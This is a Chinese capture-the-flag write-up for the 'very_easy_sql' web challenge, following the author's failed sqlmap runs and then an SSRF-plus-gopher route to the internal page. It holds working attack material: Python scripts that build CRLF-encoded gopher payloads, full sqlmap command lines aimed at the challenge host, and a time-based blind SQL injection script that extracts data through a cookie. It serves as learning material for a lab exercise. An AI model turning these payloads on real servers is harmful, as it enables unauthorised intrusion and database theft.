Web安全攻防世界08 very_easy_sql

问题描述

SQL注入、SSRF类型题目~

crtl+u查看源码,如下所示~

Web安全攻防世界08 very_easy_sql_第1张图片

经过了多次失败,终于水了一篇混杂了30%的博文链接+60%的错误解法+文末10%官网wp的博文~


思路分析:

在我看来这道题目页面和源码都没有明显的提示项...页面甚至没有反馈项,有可能是一道考验运气的题目~

目前看起来是以POST方式注入,有可能也会有COOKIE的注入点~

(emm...后续参考大佬的WP,解题过程是有明显提示的,我太小白没看出来而已...)


解决方案:

工具:Sqlmap(非必要)、BurpSuite(非必要)、Python或Visual Basic

1   传统写法:用户名与密码写入'or 1=1 --试一试~ 发现失败了,没有反馈~

可以试试BurpSuite抓包,确认一下输入的字符串有没有被过滤~

Web安全攻防世界08 very_easy_sql_第2张图片

根据BP抓包截图,右侧划线部分可知,输入并没有被过滤,分毫未差地被传向了后端...

没有提示的话就真的让人头秃了...而且没有拦截的话,我决定还是试一试SQLMAP能不能跑...

2.可是我还没有安装过SQLMAP...Kali好像有自带...

SQLMAP安装:详细安装sqlmap详细教程_mingzhi61的博客-CSDN博客_sqlmap安装教程

SQLMAP基础:SQLMAP11种常见SQLMAP使用方法详解 - 点点花飞谢 - 博客园 (cnblogs.com)

SQLMAP进阶1:超详细SQLMap使用攻略及技巧分享 - FreeBuf网络安全行业门户

SQLMAP进阶2:sqlmap详细使用教程_星落.的博客-CSDN博客_sqlmap

感谢以上大佬分享经验~

回到题目试一下,打开靶场,打开CMD,GET型注入是输入:

python sqlmap.py -u "http://61.147.171.105:61573?id=1"

输出的结果是这样的...

Web安全攻防世界08 very_easy_sql_第3张图片

Critical提示:目前所有的参数好像都是不能注入的。如果你想尝试得更多,可以试试提升'--level'或者‘--risk’的设定值;如果你怀疑有防火墙,可以试试更改'--temper'或者搞个代理'--random-agent'。

既然意料之内地失败了,那我们先把注入方式更改为post试一下(增加--data后缀),注入的变量改为uname 和 passwd("uname=1&passwd=1"),并且直接把level调到3:

python sqlmap.py -u "http://61.147.171.105:61573"  --data="uname=1&pass
wd=1" --level 3

我的小电脑已经运行了10分钟,看样子还是一无所获—— WARNING所给的提示是:uname和post看起来似乎是没办法注入的~

Web安全攻防世界08 very_easy_sql_第4张图片Refer和User-Agent看起来似乎是没办法注入的~Web安全攻防世界08 very_easy_sql_第5张图片

囧,又失败了,这次我们调为level5,并且采用--batch自动选择SQLMAP给出的所有请求...然后我决定去追剧煮饭了...

python sqlmap.py -u "http://61.147.171.105:61573"  --data="uname=1&passwd=1" --level 5 --batch

运行结果还是失败了,说好的very easy sql呢... 

Web安全攻防世界08 very_easy_sql_第6张图片

如果不是POST,那可能就是COOKIE注入...但是看起来有点困难...

我放弃了,去找一下大佬的WP,可以参考下面两个~

攻防世界 -- very_easy_sql_海底月@的博客-CSDN博客

【xctf之very_easy_sql】_010100011的博客-CSDN博客_very_easy_sql

3.其实页面是有提示的:you are not an inner user, so we can not let you have identify~

这句话是SSRF的提示:作为内网,直接访问是不行的,需要通过内部访问才可以获得ID~可以参考下面的原理图,简单来说就是借用跳板服务端访问目标——

Web安全攻防世界08 very_easy_sql_第7张图片

SSRF原理:漏洞笔记 | 浅谈SSRF原理及其利用 - 腾讯云开发者社区-腾讯云 (tencent.com)

SSRF协议:细说——SSRF_lainwith的博客-CSDN博客_ssrf关键字

SSRF实战1:SSRF漏洞 - Saint_Michael - 博客园 (cnblogs.com)

SSRF实战2:SSRF深入各种高级实战用法_G0mini的博客-CSDN博客

SSRF实战3:ssrf漏洞利用(内网探测、打redis) - ctrl_TT豆 - 博客园 (cnblogs.com)

(感谢大佬们的分享,其实博文讲的挺高深,我也看不懂,先码住再说...万一哪天开窍了呢...)

那么问题来了,我们要去哪里找这个跳板服务端?

crtl+u查看源码,发现源码第16行有

(源码甚至贴心地标绿了,当初我都没有看出来,看来真的应该考虑换一副眼睛了...)

Web安全攻防世界08 very_easy_sql_第8张图片果然按照提示输入网址后,整个屏幕的输入框就变了~

直接就是访问页面的界面,所以说,可以用这个带/.use.php的网址(也就是跳板)去访问题目的网址,达到内部访问的要求~

我们在url一栏填写目标地址http://61.147.171.105:51622/,发现反馈结果是这样的:nonono~

Web安全攻防世界08 very_easy_sql_第9张图片

也就是这里不让直白地访问内网,需要借助协议绕过...SSRF可以利用的协议有以下四种:

Web安全攻防世界08 very_easy_sql_第10张图片

在这里显然我们要使用gopher协议去实现SQL注入~

gopher原理:Gopher协议_0ak1ey的博客-CSDN博客_gopher协议

gopher实战1:gopher协议的利用 - FreeBuf网络安全行业门户

gopher实战2:Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)

在url中输入gopher://61.147.171.105:51622/访问网站,抓包得到如下结果~

Web安全攻防世界08 very_easy_sql_第11张图片

嗯,这次没有直接挂掉...但我好像用错方式了,也没有返回什么有用的信息...

4.既然是内网访问...在/use.php的网址上,gopher的请求语句host(主句)要改成localhost:80或者127.0.0.1:80~

参考一下大佬的py脚本编码gopher,其中post方式请求payload必须至少有4行参数:

请求行:请求方式POST,请求网址./index.php,HTTP1.1版本;

请求头:主机地址127.0.0.1(内部访问);

文本编码类型:application/x-www-form-urlencoded;

文本长度:25,是文本“uname=admin&passwd=admin”的长度~

import urllib.parse #导入库 urllib.parse,用于URL解析与转码

payload = """
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

uname=admin&passwd=admin
"""
tmp = urllib.parse.quote(payload) #编码Payload(以内网地址127.0.0.1、POST方式访问/flag.php网址)
new = tmp.replace('%0A','%0D%0A') #CRLF注入漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new #结果:gopher://127.0.0.1:80/_new
result = urllib.parse.quote(result) #增加gopher://127.0.0.1:80/,编码
print(result) #输出结果

我们找一个python编辑器运行一下:Python3 在线工具 | 菜鸟工具 (runoob.com)

Web安全攻防世界08 very_easy_sql_第12张图片

代码的输出结果~

gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252025%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

payload贴到url输入框中,BP抓包~

Web安全攻防世界08 very_easy_sql_第13张图片

这次可以看到是成功的~页面上显示到了目标网址的信息~实现了内网访问~

Web安全攻防世界08 very_easy_sql_第14张图片

但是仔细看一下,虽然页面信息返回了两个,但是cookie只返回use.php的~另一个index.php的cookie被吃掉了~

Web安全攻防世界08 very_easy_sql_第15张图片

试一试多写几行能否返回cookie,在上一段代码的基础上,增加了User-Agent与Accept,运行结果如下图所示~

import urllib.parse

payload = """
POST /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

uname=admin&passwd=admin
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

运行结果显然是失败了,request的refer变得更长了,response变得更短了...

Web安全攻防世界08 very_easy_sql_第16张图片

到此以后,我也没有找到合适一些的强制返回cookie的方法(这个里面有描述返回cookie的脚本,有兴趣的同学们可以跑一下:攻防世界 -- very_easy_sql_海底月@的博客-CSDN博客)...

5.本着不写代码就是不写BUG的精神,不靠谱的想法再一次闪现在我不太灵光的大脑皮层:SQLMAP能不能直接跑SSRF的网址呀~

我这边自己的网址是:

http://61.147.171.105:51061/use.php?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252025%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

套在sqlmap中,设置level为3,大概就是:

python sqlmap.py -u "http://61.147.171.105:51061/use.php?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252025%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A"  --data="uname=1&passwd=1" --level 3 --batch

连接的过程真是的很漫长,后面还反复失败,好在[18:24:32] [INFO] POST parameter 'uname' appears to be 'HAVING boolean-based blind - WHERE, GROUP BY clause' injectable~

[19:12:25] [INFO] POST parameter 'passwd' appears to be 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)' injectable

Web安全攻防世界08 very_easy_sql_第17张图片

Web安全攻防世界08 very_easy_sql_第18张图片

用SQLMAP进行布尔盲注爆表~通过参数-technique B --dbs实现盲注的效果,参数见下表~

Web安全攻防世界08 very_easy_sql_第19张图片

python sqlmap.py -u "http://61.147.171.105:64317/use.php?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252025%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A"  --data="uname=1&passwd=1" --technique B --dbs --batch

Web安全攻防世界08 very_easy_sql_第20张图片

布尔盲注试了两次,总是在后面连接失败,请求仿佛是被防火墙吃掉了...啊,难受...

同样通过之前的抓包反馈结果,cookie可能也存在注入点,所以cookie这边也试一下~

python sqlmap.py -u "http://61.147.171.105:64317/use.php?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252025%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A" --cookie "id=1" --dbs --level 3 --batch

同样,cookie注入试了两次,发现请求被防火墙吃掉了...

Web安全攻防世界08 very_easy_sql_第21张图片

 可能SQLMAP跑这个程序还要结合一些绕过的方法,或者可能需要手工注入...

不过我在这道题目上耗得时间太久,实在是不想再看到这道题了,我们还是直接快进到官方的WP吧...(┬┬﹏┬┬)

6.官方的WP,我这里注释一下...不保证是注释是正确的...我也很稀里糊涂...

import requests #导入库requests,用于发送HTTP请求,注意这个需要安装
import time #导入库time,用于计时
import base64 #导入库base64,用于转码

url = "http://61.147.171.105:64317/use.php?url=" #http://61.147.171.105:64317是网址及端口,需要更改;/use.php是源码提示的SSRF跳板网址;url=后接需要跳转的网址
flag = "" #准备输出flag字符串
for pos in range(1, 50):
    for i in range(33, 127):
        # poc="') union select 1,2,if(1=1,sleep(5),1) # " #')注释,联合查询 1,2,延时注入猜测注入点

        # security
        # poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # " #联合查询,ascii编码延时注入猜测库名

        # flag
        # poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # " #联合查询,猜测文件名

        poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(
            i) + ",sleep(2),1) # " #读取文件flag中的值

        bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8") #flag的值经过utf-8于base64编码
        final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a" #需要解码,内容请参考截图
        t1 = time.time() 
        res = requests.get(url + final_poc)
        t2 = time.time()
        if (t2 - t1 > 2):#以上四行为延时注入的时间判断语句,爆破期间如果某字符返回响应的时间较长
            flag += chr(i) #写入字符串flag
            print(flag) #输出flag
            break #进入下一字符的爆破
print(flag)

 其中 变量final_poc经过两次url解码,内容如下所示,将变量bs(编码后的变量poc)传到服务器~

Web安全攻防世界08 very_easy_sql_第22张图片

 运行结果如下图所示:

Web安全攻防世界08 very_easy_sql_第23张图片

 cyberpeace{8e155ce7edac92fad984ef96283f5c60}

终于告一段落了,虽然没有解出题目,但是也学到了一些SQL与SSRF的入门知识,还挺开心,希望以后有机会变强一点吧~

你可能感兴趣的:(#,攻防世界,php,web安全)